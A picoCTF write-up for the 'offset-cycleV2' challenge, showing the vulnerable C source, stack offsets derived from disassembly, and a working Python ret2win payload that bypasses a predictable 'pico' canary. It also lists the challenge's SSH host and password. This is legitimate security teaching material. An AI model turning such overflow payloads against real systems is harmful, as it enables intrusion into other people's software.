offset-cycleV2 Writeup
picoCTF Offset Cycle V2 writeup building on the first version with additional protections requiring more advanced exploitation techniques.
Contents
offset-cycleV2 Writeup
Challenge
SSH target:
ssh -p 51554 ctf-player@dolphin-cove.picoctf.net
Password:
83dcefb7
Goal
Run the generator, exploit the per-instance binary before the timeout, and recover the flag.
Instance Flow
After login, instructions.txt explained:
- Run
./start - It copies a generated source file and binary into the current directory
- You have 80 seconds to exploit it
Running ./start produced:
28.c28
Generated Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE 609
#define CANARY_SIZE 4
#define FLAGSIZE 64
char global_canary[CANARY_SIZE];
void win() {
char flag[FLAGSIZE];
FILE *f = fopen("CodeBank/flag.txt", "r");
if (!f) {
puts("Missing flag.txt.");
exit(0);
}
fgets(flag, FLAGSIZE, f);
puts(flag);
}
void load_canary() {
FILE *f = fopen("CodeBank/flag.txt", "r");
if (!f) {
puts("Missing flag.txt.");
exit(0);
}
fread(global_canary, 1, CANARY_SIZE, f);
fclose(f);
}
void vuln() {
char local_canary[CANARY_SIZE];
char buf[BUFSIZE];
char input[BUFSIZE];
int count, i = 0;
memcpy(local_canary, global_canary, CANARY_SIZE);
printf("How many bytes?\n> ");
while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
i++;
sscanf(input, "%d", &count);
printf("Input> ");
read(0, buf, count);
if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
puts("***** Stack Smashing Detected *****");
exit(0);
}
puts("Ok... Now Where's the flag?");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setresgid(getegid(), getegid(), getegid());
load_canary();
vuln();
return 0;
}
Vulnerability
The bug is the unchecked read(0, buf, count).
count is attacker-controlled, so the program allows a classic stack overflow. The only barrier is the custom 4-byte canary copied from the first 4 bytes of CodeBank/flag.txt.
The key weakness is that picoCTF flags begin with pico, so the canary is predictable.
Binary Properties
Arch: i386
RELRO: Partial RELRO
Canary: No compiler canary
NX: Enabled
PIE: No
Stripped: No
Important Addresses
From nm -n 28:
08049316 T win
08049411 T vuln
0804952c T main
Target:
win = 0x08049316
Real Stack Layout
The compiled vuln function placed:
bufatebp-0x271local_canaryatebp-0x10- saved return address at
ebp+4
From the disassembly:
lea eax,[ebp-0x271] ; buf
lea eax,[ebp-0x10] ; local_canary
So:
- offset from
buftolocal_canary=0x271 - 0x10 = 0x261 = 609 - offset from
bufto saved return address =0x271 + 4 = 0x275 = 629
That means the payload must be:
609bytes padding- correct 4-byte canary:
pico 16bytes fillerwin()address
Exploit
Working remote payload:
python3 - <<'PY' | ./28
import sys, struct
count = 609 + 4 + 16 + 4
payload = b'A'*609 + b'pico' + b'B'*16 + struct.pack('<I', 0x08049316)
sys.stdout.write(str(count) + '\n')
sys.stdout.flush()
sys.stdout.buffer.write(payload)
PY
Result
The exploit printed:
picoCTF{<redacted>}
Final Answer
Flag:
picoCTF{<redacted>}
Takeaway
This was a ret2win with a fake manual canary. The only trick was recognizing that the canary came from the first four bytes of the flag file, which are predictably pico on picoCTF instances. Once that was supplied in the overflow, control flow could be redirected directly into win().